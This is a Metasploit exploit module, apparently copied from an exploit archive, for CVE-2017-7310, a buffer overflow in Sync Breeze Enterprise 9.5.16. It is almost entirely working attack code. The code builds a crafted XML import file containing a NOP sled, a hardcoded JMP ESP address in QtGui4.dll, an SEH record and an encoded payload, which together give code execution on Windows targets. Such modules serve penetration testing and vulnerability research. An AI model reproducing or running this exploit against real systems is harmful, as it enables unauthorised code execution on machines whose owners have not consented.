Sync Breeze Enterprise 9.5.16 Import Command Buffer Overflow

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Sync Breeze Enterprise 9.5.16 - Import Command Buffer Overflow',  
'Description' => %q(  
This module exploits a buffer overflow in Sync Breeze Enterprise 9.5.16  
by using the import command option to import a specially crafted xml file.  
),  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Daniel Teixeira'  
],  
'References' =>  
[  
[ 'CVE', '2017-7310' ],  
[ 'EDB', '41773' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
'DisablePayloadHandler' => 'true'  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x01\x02\x0a\x0b\x0c\x22\x27",  
'StackAdjustment' => -3500  
},  
'Targets' =>  
[  
['Windows Universal', { 'Ret' => 0x10015FFE } ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Mar 29 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [true, 'The file name.', 'msf.xml'])  
])  
end  
  
def exploit  
jmpesp = "\x7A\xB7\x1B\x65" # JMP ESP QtGui4.dll  
esp = "\x8D\x44\x24\x4C" # LEA EAX, [ESP+76]  
jmp = "\xFF\xE0" # JMP ESP  
  
buffer = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<classify\nname=\'"  
buffer << "\x90" * 1536  
buffer << jmpesp  
buffer << "\x90" * 18  
buffer << esp  
buffer << jmp  
buffer << "\x90" * 68  
buffer << generate_seh_record(target.ret)  
buffer << "\x90" * 10  
buffer << payload.encoded  
buffer << "\x90" * 5000  
buffer << "\n</classify>"  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(buffer)  
end  
end  
`